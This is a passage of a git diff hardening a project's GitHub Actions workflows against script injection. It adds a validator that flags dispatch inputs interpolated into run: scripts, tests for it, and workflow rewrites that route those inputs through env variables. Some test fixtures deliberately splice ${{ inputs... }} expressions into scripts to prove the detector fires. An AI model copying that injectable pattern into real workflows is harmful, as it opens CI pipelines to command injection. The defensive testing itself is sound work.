Object.entries(object(workflow.jobs))) { + for (const [index, rawStep] of list(object(job).steps).entries()) { + const step = object(rawStep); + if (typeof step.run !== "string") continue; + const named = step.name ? ` (${step.name})` : ""; + for (const expression of new Set(interpolatedDispatchInputs(step.run))) { + violations.push( + `${file} jobs.${jobId}.steps.${index}${named} must read ${expression}` + + " from step env, not interpolated script text", + ); + } + } + } + } + return violations; +} + const JOB_EVIDENCE_COLLECTOR = ".github/scripts/collect-actions-job-evidence.sh"; /// `checks: read` is the token scope that makes the lost-runner signature readable at all. @@ -5069,8 +5188,11 @@ export function validatePluginRelease(workflows, violations, graph) { ); requireStepRun(violations, file, marketplacePublish, "Point the catalog at the published release", [ "publish-marketplace-catalog.mjs", - '--version "${{ inputs.version }}"', + '--version "$INPUT_VERSION"', ]); + requireStepEnv(violations, file, marketplacePublish, "Point the catalog at the published release", { + INPUT_VERSION: "${{ inputs.version }}", + }); // Same contract as the native lane: the catalog push is delivery after an irreversible tag, so // it may not fail the release, and the run must record which state it ended in. const catalogDelivery = object(at(graph, "workflow_policy", "catalog_delivery")); @@ -5294,6 +5416,7 @@ export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repos validateRemainingWorkflows(workflows, violations); validateReleaseCellUploadOwnership(workflows, violations); validateReleaseArtifactRerunSafety(workflows, violations); + violations.push(...dispatchInputInterpolationViolations(workflows)); violations.push(...annotationScopeViolations(workflows)); violations.push(...lostRunnerRecoveryViolations(workflows, graph)); violations.push(...releaseWorkflowContractViolations(workflows, graph)); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index ff1942f34..b08944bfc 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -13,6 +13,7 @@ import { import { annotationScopeViolations, basicWorkflowViolations, + dispatchInputInterpolationViolations, draftSourcePolicyViolations, draftWorkflowPolicyViolations, loadWorkflows, @@ -2601,6 +2602,251 @@ test("marketplace sync keeps dispatch inputs out of script text", async (t) => { } }); +function firstRunStep(workflow) { + for (const [jobId, job] of Object.entries(workflow.jobs ?? {})) { + const steps = Array.isArray(job?.steps) ? job.steps : []; + for (const [index, step] of steps.entries()) { + if (typeof step?.run === "string") return { jobId, index, step }; + } + } + return undefined; +} + +const unwrittenWorkflow = "future-dispatch-proof.yml"; + +function unwrittenDispatchWorkflow(run) { + return { + name: "Future dispatch proof", + on: { workflow_dispatch: { inputs: { ref: { required: true, type: "string" } } } }, + permissions: { contents: "read" }, + jobs: { + leak: { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + steps: [{ name: "Echo the dispatched ref", shell: "bash", ...run }], + }, + }, + }; +} + +// #1554 fixed marketplace-sync.yml and pinned the fix with `validateMarketplaceSync`, a validator +// that names one file. That shape cannot fail on a second file however many times the same splice +// is written, and eight more workflows carried it (#1566). The replacement has to hold a property +// the per-file validator could not: it reads whatever workflows exist, so it covers files nobody +// listed -- including files that do not exist yet. Every test below is a claim about the rule's +// reach, not about any one workflow. +test("no workflow interpolates a dispatch input into a run: body", async (t) => { + await t.test("the repository as it stands has no such splice anywhere", () => { + assert.deepEqual(dispatchInputInterpolationViolations(loadWorkflows()), []); + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + }); + + // The other direction, on every workflow at once. The loop names no file: it grows with the + // directory, so a workflow added tomorrow is mutated by this suite the day it lands. + for (const [file, workflow] of loadWorkflows()) { + const located = firstRunStep(workflow); + if (located === undefined) continue; + await t.test(`${file} cannot splice a dispatch input into ${located.step.name ?? "its first script"}`, () => { + const workflows = loadWorkflows(); + const target = firstRunStep(workflows.get(file)); + target.step.run = `${target.step.run}\necho "\${{ inputs.version }}"\n`; + const reported = dispatchInputInterpolationViolations(workflows); + assert.equal(reported.length, 1); + assert.equal( + reported[0].startsWith(`${file} jobs.${target.jobId}.steps.${target.index}`), + true, + reported[0], + ); + assert.match( + validateWorkflows(workflows).join("\n"), + /must read \$\{\{ inputs\.version \}\} from step env, not interpolated script text/u, + ); + }); + } + + // The claim the per-file validator could not make. Nothing here edits the rule, and the file is + // not on disk: the rule sees it because it iterates the set it is handed. + await t.test("a workflow that does not exist yet is covered without editing the rule", () => { + const workflows = loadWorkflows(); + assert.equal(workflows.has(unwrittenWorkflow), false); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ + run: 'echo "${{ inputs.ref }}"\n', + })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ inputs.ref }} from step env, not interpolated script text", + ]); + assert.match( + validateWorkflows(workflows).join("\n"), + /future-dispatch-proof\.yml jobs\.leak\.steps\.0 \(Echo the dispatched ref\) must read/u, + ); + }); + + await t.test("the same unwritten workflow reading that value from env is not a violation", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ + env: { INPUT_REF: "${{ inputs.ref }}" }, + run: 'echo "$INPUT_REF"\n', + })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); + }); + + // GitHub serves one dispatched value under several spellings and an expression can bury the + // context inside a function call. A rule that only knows `inputs.name` exempts the rest. + for (const [name, expression] of [ + ["the short spelling", "${{ inputs.version }}"], + ["the spelling GitHub serves the same value under", "${{ github.event.inputs.version }}"], + ["the index spelling", "${{ inputs['version'] }}"], + ["a fallback that reaches an input second", "${{ github.ref_name || inputs.version }}"], + // A single `}` inside the expression must not end the match early and hide the rest of it. + ["a spelling wrapped in a format call carrying a brace", "${{ format('{0}', inputs.version) }}"], + ]) { + await t.test(`${name} is refused`, () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ run: `echo "${expression}"\n` })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + ` must read ${expression} from step env, not interpolated script text`, + ]); + }); + } + + // Over-firing would make the rule unusable and force exemptions, which is how the per-file shape + // started. These are the expressions a run: body is allowed to carry. + for (const [name, run] of [ + ["a workflow context", 'echo "${{ github.run_attempt }}"\n'], + ["a matrix value", 'echo "${{ matrix.asset_target }}"\n'], + ["a step output", 'echo "${{ steps.source-identity.outputs.sha }}"\n'], + ["another job's output", 'echo "${{ needs.resolve.outputs.ref }}"\n'], + ["a shell variable whose name merely contains the word", 'echo "$RELEASE_INPUTS_PATH"\n'], + ]) { + await t.test(`${name} is not a violation`, () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ run })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); + }); + } + + // #1554 established that a checkout `ref:` is not an executable surface: it is resolved by the + // action, not parsed by a shell, and it is pinned separately where it belongs. This rule reads + // `run:` only, and that boundary is asserted rather than assumed. + await t.test("a dispatch input in an action input is outside this rule's surface", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, { + name: "Future dispatch proof", + on: { workflow_dispatch: { inputs: { ref: { required: true, type: "string" } } } }, + permissions: { contents: "read" }, + jobs: { + leak: { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + steps: [{ + name: "Checkout the dispatched ref", + uses: "actions/checkout@v5", + with: { ref: "${{ inputs.ref }}" }, + }], + }, + }, + }); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); + }); +}); + +// Routing a dispatched value through `env:` removes it from the script's text -- and from the +// reach of the fragment pin that used to name it there. `--expected-sha "$INPUT_REF"` reads the +// same whether `INPUT_REF` carries `inputs.ref` or a commit nobody reviewed, so the pin now has +// two halves: the script names the variable, and the variable names the value. Both halves are +// proven here for the trust-anchoring steps -- the release-cell producers, whose `--expected-sha` +// is the commit every downstream claim is filed against -- and for the mode guards that decide +// which claims a protected run is allowed to make at all. +test("env-routed dispatch inputs stay pinned to the value they were reviewed with", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const reviewedRef = "${{ inputs.ref }}"; + const behaviorOnly = "${{ inputs.server_behavior_only }}"; + const sites = [ + ["linux-vulkan-proof.yml", "packaged-vulkan", "Validate candidate-installed mode", + { SERVER_BEHAVIOR_ONLY: behaviorOnly }, + 'test "$SERVER_BEHAVIOR_ONLY" = true', `test "${behaviorOnly}" = true`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Validate candidate-installed mode", + { SERVER_BEHAVIOR_ONLY: behaviorOnly }, + 'if ($env:SERVER_BEHAVIOR_ONLY -ne "true")', `if ("${behaviorOnly}" -ne "true")`], + ["macos-metal-proof.yml", "packaged-metal", "Validate candidate-installed mode", + { SERVER_BEHAVIOR_ONLY: behaviorOnly, CALIBRATION_MODE: "${{ inputs.calibration_mode }}" }, + 'test "$SERVER_BEHAVIOR_ONLY" = true', `test "${behaviorOnly}" = true`], + ["linux-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated Linux Vulkan release cells", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated Vulkan release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated Windows retrieval-readiness release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated candidate-installed Windows release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["macos-metal-proof.yml", "packaged-metal", "Emit authenticated Metal release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["macos-metal-proof.yml", "packaged-metal", "Emit authenticated macOS retrieval-readiness release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["macos-metal-proof.yml", "packaged-metal", "Emit authenticated candidate-installed macOS release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["packaged-platform-proof.yml", "build", "Emit authenticated package release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + // source-proof resolves its own trusted head in an earlier job rather than taking a dispatched + // ref, so its anchor is that job's output. Same two halves, different source of truth. + ["source-proof.yml", "full-source-gate", "Emit authenticated source release cell", + { RESOLVED_REF: "${{ needs.resolve.outputs.ref }}" }, + '--expected-sha "$RESOLVED_REF"', '--expected-sha "${{ needs.resolve.outputs.ref }}"'], + ]; + for (const [file, jobId, stepName, bindings, needle, splice] of sites) { + for (const [key, expected] of Object.entries(bindings)) { + await t.test(`${file} ${stepName} refuses a rewired ${key}`, () => { + const workflows = loadWorkflows(); + draftStep(workflows.get(file).jobs[jobId], stepName).env[key] = "${{ github.event.pull_request.head.sha }}"; + const violations = validateWorkflows(workflows); + assert.ok( + violations.includes(`${file} step ${stepName} must bind ${key} to ${expected}`), + violations.join("\n"), + ); + }); + await t.test(`${file} ${stepName} refuses a dropped ${key}`, () => { + const workflows = loadWorkflows(); + delete draftStep(workflows.get(file).jobs[jobId], stepName).env[key]; + assert.ok( + validateWorkflows(workflows) + .includes(`${file} step ${stepName} must bind ${key} to ${expected}`), + ); + }); + } + await t.test(`${file} ${stepName} refuses the splice it was rewritten away from`, () => { + const workflows = loadWorkflows(); + const step = draftStep(workflows.get(file).jobs[jobId], stepName); + assert.equal(step.run.includes(needle), true, `missing pinned fragment ${needle}`); + step.run = step.run.replace(needle, splice); + const violations = validateWorkflows(workflows); + // Both layers must see it: the fragment pin, which knows what this step should read, and + // the generic rule, which knows nothing about this step and refuses the shape anyway. + assert.ok( + violations.includes(`${file} step ${stepName} must run ${needle}`), + violations.join("\n"), + ); + if (splice.includes("inputs")) { + assert.ok( + violations.some(violation => + violation.startsWith(`${file} jobs.${jobId}.steps.`) + && violation.includes("from step env, not interpolated script text")), + violations.join("\n"), + ); + } + }); + } +}); + // The guard is the layer the workflow relies on before a ref is resolved or a token is minted, so // it is proven by running it rather than by reading it. Every refusal below reaches the guard's own // `::error::` and exit 1: a bash syntax error would also be non-zero and would prove nothing. @@ -2761,8 +3007,14 @@ test("the plugin lane publishes the catalog it then smoke-installs", async (t) = }, /marketplace token must be a SHA-pinned app token scoped to the marketplace repository/u], ["the catalog is pointed at an unbound version", workflow => { const step = catalogStep(workflow); - step.run = step.run.replace('--version "${{ inputs.version }}"', '--version "$LATEST"'); + step.run = step.run.replace('--version "$INPUT_VERSION"', '--version "$LATEST"'); }, /Point the catalog at the published release must run --version/u], + // Routing the version through `env:` moves it out of the script's text, so the script's own + // fragment can no longer see which value it carries. Rebinding the variable is the same + // substitution the mutation above makes, one layer down. + ["the catalog's version variable is rebound to another value", workflow => { + catalogStep(workflow).env.INPUT_VERSION = "${{ github.ref_name }}"; + }, /Point the catalog at the published release must bind INPUT_VERSION/u], ["catalog publication hides the delivery state it recorded", workflow => { delete workflow.jobs["marketplace-publish"].outputs; }, /marketplace publication must publish the recorded delivery state/u], diff --git a/.github/workflows/linux-vulkan-proof.yml b/.github/workflows/linux-vulkan-proof.yml index 6dc5a87b2..687ac9ded 100644 --- a/.github/workflows/linux-vulkan-proof.yml +++ b/.github/workflows/linux-vulkan-proof.yml @@ -127,7 +127,9 @@ jobs: - name: Validate candidate-installed mode if: inputs.candidate_installed_proof shell: bash - run: test "${{ inputs.server_behavior_only }}" = true + env: + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + run: test "$SERVER_BEHAVIOR_ONLY" = true - name: Download exact Linux package uses: actions/download-artifact@v8.0.1 @@ -174,24 +176,28 @@ jobs: shell: bash env: CODESTORY_EMBED_ALLOW_CPU: "0" + INPUT_VERSION: ${{ inputs.version }} + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" source_sha="$(git rev-parse HEAD)" source_tree="$(git rev-parse 'HEAD^{tree}')" claim_args=() calibration_args=() - if [ "${{ inputs.server_behavior_only }}" = true ]; then + if [ "$SERVER_BEHAVIOR_ONLY" = true ]; then claim_args=(--server-behavior-only) else calibration_bundle="$(find target/calibration-bundle -type f -name calibration-bundle.json -print)" test "$(printf '%s\n' "$calibration_bundle" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 calibration_args=( --calibration-bundle "$calibration_bundle" - --calibration-producer-run-id "${{ inputs.calibration_bundle_run_id }}" - --calibration-producer-artifact "${{ inputs.calibration_bundle_artifact }}" + --calibration-producer-run-id "$CALIBRATION_RUN_ID" + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" ) fi python .github/scripts/check-packaged-agent-proof.py \ @@ -219,11 +225,13 @@ jobs: env: GH_TOKEN: ${{ github.token }} CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + INPUT_VERSION: ${{ inputs.version }} + PACKAGE_RUN_ID: ${{ inputs.package_run_id || github.run_id }} run: | set -euo pipefail umask 077 test -n "$CANDIDATE_PRODUCER_WORKFLOW_PATH" - candidate_producer_run_id="${{ inputs.package_run_id || github.run_id }}" + candidate_producer_run_id="$PACKAGE_RUN_ID" run="$(gh api "repos/$GITHUB_REPOSITORY/actions/runs/$candidate_producer_run_id")" test "$(jq -r '.head_repository.full_name' <<<"$run")" = "$GITHUB_REPOSITORY" test "$(jq -r '.path' <<<"$run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH" @@ -232,7 +240,7 @@ jobs: test "$candidate_producer_run_attempt" -ge 1 echo "CODESTORY_CANDIDATE_PRODUCER_RUN_ID=$candidate_producer_run_id" >> "$GITHUB_ENV" echo "CODESTORY_CANDIDATE_PRODUCER_RUN_ATTEMPT=$candidate_producer_run_attempt" >> "$GITHUB_ENV" - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" candidate_root="$(mktemp -d "$RUNNER_TEMP/codestory-candidate-installed-linux.XXXXXX")" @@ -266,9 +274,10 @@ jobs: env: CODESTORY_EMBED_ALLOW_CPU: "0" CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" python .github/scripts/check-packaged-agent-proof.py \ @@ -307,9 +316,13 @@ jobs: - name: Emit authenticated Linux Vulkan release cells if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} + CANDIDATE_INSTALLED_PROOF: ${{ inputs.candidate_installed_proof }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" mkdir -p target/release-cells @@ -319,7 +332,7 @@ jobs: > target/linux-vulkan-proof/release-cell-identity.json common=( --repo "$GITHUB_WORKSPACE" - --expected-sha "${{ inputs.ref }}" + --expected-sha "$INPUT_REF" --version "$version" --producer-workflow .github/workflows/linux-vulkan-proof.yml --producer-job packaged-vulkan @@ -339,7 +352,7 @@ jobs: --producer-artifact "release-cell-postpublish-retrieval-linux-x64-attempt-$GITHUB_RUN_ATTEMPT" \ --archive "$archive" \ --out target/release-cells/retrieval_readiness-linux-x64.json - if [ "${{ inputs.candidate_installed_proof }}" = true ]; then + if [ "$CANDIDATE_INSTALLED_PROOF" = true ]; then jq -n \ --arg installer candidate_managed_plugin \ --arg runtime_version "$version" \ diff --git a/.github/workflows/macos-metal-proof.yml b/.github/workflows/macos-metal-proof.yml index 16e5c1351..50aca2df1 100644 --- a/.github/workflows/macos-metal-proof.yml +++ b/.github/workflows/macos-metal-proof.yml @@ -154,9 +154,12 @@ jobs: - name: Validate candidate-installed mode if: inputs.candidate_installed_proof shell: bash + env: + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + CALIBRATION_MODE: ${{ inputs.calibration_mode }} run: | - test "${{ inputs.server_behavior_only }}" = true - test "${{ inputs.calibration_mode }}" = false + test "$SERVER_BEHAVIOR_ONLY" = true + test "$CALIBRATION_MODE" = false - name: Install pinned Rust if: ${{ !inputs.use_packaged_cli_artifact || inputs.calibration_mode || !inputs.server_behavior_only }} @@ -314,6 +317,8 @@ jobs: VERSION: ${{ inputs.version }} CODESTORY_EMBED_ALLOW_CPU: "0" SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | set -euo pipefail version="${VERSION#v}" @@ -340,8 +345,8 @@ jobs: ) calibration_args=( --calibration-bundle "$calibration_bundle" - --calibration-producer-run-id "${{ inputs.calibration_bundle_run_id }}" - --calibration-producer-artifact "${{ inputs.calibration_bundle_artifact }}" + --calibration-producer-run-id "$CALIBRATION_RUN_ID" + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" ) fi python3 .github/scripts/check-packaged-agent-proof.py \ @@ -507,6 +512,7 @@ jobs: shell: bash env: VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail version="${VERSION#v}" @@ -516,7 +522,7 @@ jobs: > target/macos-metal-proof/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id accelerator_execution:macos-arm64-metal \ --producer-workflow .github/workflows/macos-metal-proof.yml \ @@ -542,12 +548,13 @@ jobs: shell: bash env: VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail version="${VERSION#v}" node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id retrieval_readiness:macos-arm64 \ --producer-workflow .github/workflows/macos-metal-proof.yml \ @@ -572,6 +579,7 @@ jobs: shell: bash env: VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail version="${VERSION#v}" @@ -583,7 +591,7 @@ jobs: > target/candidate-installed-macos/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id candidate_installed_behavior:macos-arm64 \ --producer-workflow .github/workflows/macos-metal-proof.yml \ diff --git a/.github/workflows/packaged-platform-proof.yml b/.github/workflows/packaged-platform-proof.yml index 8b3d6ec72..57757b1c1 100644 --- a/.github/workflows/packaged-platform-proof.yml +++ b/.github/workflows/packaged-platform-proof.yml @@ -739,16 +739,20 @@ jobs: - name: Package release asset if: runner.os != 'Windows' + env: + INPUT_VERSION: ${{ inputs.version }} run: | bin="target/${{ matrix.rust_target }}/release/codestory-cli" python .github/scripts/package-codestory-release.py \ - --version "${{ inputs.version }}" \ + --version "$INPUT_VERSION" \ --target "${{ matrix.asset_target }}" \ --binary "$bin" \ --out-dir target/release-dist - name: Prove Linux x64 glibc 2.31 baseline if: matrix.asset_target == 'linux-x64' + env: + INPUT_VERSION: ${{ inputs.version }} run: | docker run --rm --platform linux/amd64 \ --volume "$PWD:/workspace" \ @@ -758,8 +762,8 @@ jobs: set -euo pipefail bash .github/scripts/check-linux-glibc-baseline.sh "$@" ' bash \ - "target/release-dist/codestory-cli-v${{ inputs.version }}-linux-x64.tar.gz" \ - "${{ inputs.version }}" \ + "target/release-dist/codestory-cli-v${INPUT_VERSION}-linux-x64.tar.gz" \ + "$INPUT_VERSION" \ target/linux-glibc-baseline \ "glibc 2.31" @@ -774,11 +778,13 @@ jobs: - name: Smoke packaged release asset if: runner.os != 'Windows' + env: + INPUT_VERSION: ${{ inputs.version }} run: | python .github/scripts/check-packaged-agent-proof.py \ - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.tar.gz" \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.tar.gz" \ --checksum-file target/release-dist/SHA256SUMS.txt \ - --expected-version "${{ inputs.version }}" \ + --expected-version "$INPUT_VERSION" \ --expected-source-sha "${{ steps.source-identity.outputs.sha }}" \ --expected-source-tree "${{ steps.source-identity.outputs.tree }}" \ --version-only \ @@ -837,14 +843,17 @@ jobs: env: CODESTORY_EMBED_ALLOW_CPU: "1" CALIBRATION_MODE: ${{ inputs.calibration_mode }} + INPUT_VERSION: ${{ inputs.version }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | set -euo pipefail source_sha="$(git rev-parse HEAD)" source_tree="$(git rev-parse 'HEAD^{tree}')" common_args=( - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.tar.gz" + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.tar.gz" --checksum-file target/release-dist/SHA256SUMS.txt - --expected-version "${{ inputs.version }}" + --expected-version "$INPUT_VERSION" --project "${{ github.workspace }}" --plugin-root plugins/codestory --plugin-handoff @@ -884,8 +893,8 @@ jobs: --qualification-driver target/release/codestory_embedding_qualification \ --qualification-evidence target/packaged-agent-proof/qualification.json \ --calibration-bundle "$calibration_bundle" \ - --calibration-producer-run-id "${{ inputs.calibration_bundle_run_id }}" \ - --calibration-producer-artifact "${{ inputs.calibration_bundle_artifact }}" \ + --calibration-producer-run-id "$CALIBRATION_RUN_ID" \ + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" \ --retrieval-quality-evidence "$quality_path" \ --out-dir target/packaged-agent-proof @@ -924,10 +933,12 @@ jobs: - name: Package release asset on Windows if: runner.os == 'Windows' shell: pwsh + env: + INPUT_VERSION: ${{ inputs.version }} run: | $bin = Join-Path $env:CARGO_TARGET_DIR "${{ matrix.rust_target }}/release/codestory-cli${{ matrix.exe_suffix }}" python .github/scripts/package-codestory-release.py ` - --version "${{ inputs.version }}" ` + --version "$env:INPUT_VERSION" ` --target "${{ matrix.asset_target }}" ` --binary $bin ` --out-dir target/release-dist @@ -935,11 +946,13 @@ jobs: - name: Smoke packaged release asset on Windows if: runner.os == 'Windows' shell: pwsh + env: + INPUT_VERSION: ${{ inputs.version }} run: | python .github/scripts/check-packaged-agent-proof.py ` - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.zip" ` + --archive "target/release-dist/codestory-cli-v$($env:INPUT_VERSION)-${{ matrix.asset_target }}.zip" ` --checksum-file target/release-dist/SHA256SUMS.txt ` - --expected-version "${{ inputs.version }}" ` + --expected-version "$env:INPUT_VERSION" ` --expected-source-sha "${{ steps.source-identity.outputs.sha }}" ` --expected-source-tree "${{ steps.source-identity.outputs.tree }}" ` --version-only ` @@ -948,9 +961,11 @@ jobs: - name: Report fresh package identity id: fresh-package shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - archive="target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}" + archive="target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" archive_sha256="$( python -c 'import hashlib, sys; print(hashlib.file_digest(open(sys.argv[1], "rb"), "sha256").hexdigest())' \ "$archive" @@ -982,19 +997,22 @@ jobs: - name: Emit authenticated package release cell if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ - --version "${{ inputs.version }}" \ + --expected-sha "$INPUT_REF" \ + --version "$INPUT_VERSION" \ --cell-id "package_identity:${{ matrix.asset_target }}" \ --producer-workflow .github/workflows/packaged-platform-proof.yml \ --producer-job build \ --producer-run-id "$GITHUB_RUN_ID" \ --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ --producer-artifact "release-cell-prepublish-package-${{ matrix.asset_target }}-attempt-$GITHUB_RUN_ATTEMPT" \ - --archive "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}" \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" \ --out "target/release-cells/package_identity-${{ matrix.asset_target }}.json" - name: Upload authenticated package release cell @@ -1049,9 +1067,12 @@ jobs: - name: Require exact frozen source shell: bash + env: + INPUT_REF: ${{ inputs.ref }} + INPUT_VERSION: ${{ inputs.version }} run: | - test "$(git rev-parse HEAD)" = "${{ inputs.ref }}" - test -n "${{ inputs.version }}" + test "$(git rev-parse HEAD)" = "$INPUT_REF" + test -n "$INPUT_VERSION" - name: Install pinned Rust run: | diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index 7fe51cb54..99c96387a 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -61,14 +61,17 @@ jobs: fi - name: Validate plugin-lane version synchronization - run: python .github/scripts/check-codestory-release.py --version "${{ inputs.version }}" --lane plugin + env: + INPUT_VERSION: ${{ inputs.version }} + run: python .github/scripts/check-codestory-release.py --version "$INPUT_VERSION" --lane plugin - name: Refuse an existing plugin release env: GH_TOKEN: ${{ github.token }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - tag="v${{ inputs.version }}" + tag="v$INPUT_VERSION" if git ls-remote --exit-code origin "refs/tags/$tag" >/dev/null 2>&1; then echo "::error::$tag already exists." exit 1 @@ -122,9 +125,11 @@ jobs: fi - name: Extract plugin release notes + env: + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - node .github/scripts/extract-codestory-release-notes.mjs --version "${{ inputs.version }}" > /tmp/plugin-release-notes.md + node .github/scripts/extract-codestory-release-notes.mjs --version "$INPUT_VERSION" > /tmp/plugin-release-notes.md test -s /tmp/plugin-release-notes.md plugin-proof: @@ -179,13 +184,14 @@ jobs: - name: Publish the plugin release env: GH_TOKEN: ${{ github.token }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - node .github/scripts/extract-codestory-release-notes.mjs --version "${{ inputs.version }}" > /tmp/plugin-release-notes.md - gh release create "v${{ inputs.version }}" \ + node .github/scripts/extract-codestory-release-notes.mjs --version "$INPUT_VERSION" > /tmp/plugin-release-notes.md + gh release create "v$INPUT_VERSION" \ --repo "$GITHUB_REPOSITORY" \ --target "$GITHUB_SHA" \ - --title "CodeStory plugin ${{ inputs.version }}" \ + --title "CodeStory plugin $INPUT_VERSION" \ --notes-file /tmp/plugin-release-notes.md # The catalog is what a host installs from, so the plugin lane publishes it too. It is DELIVERY, @@ -222,12 +228,13 @@ jobs: continue-on-error: true env: GH_TOKEN: ${{ steps.token.outputs.token }} + 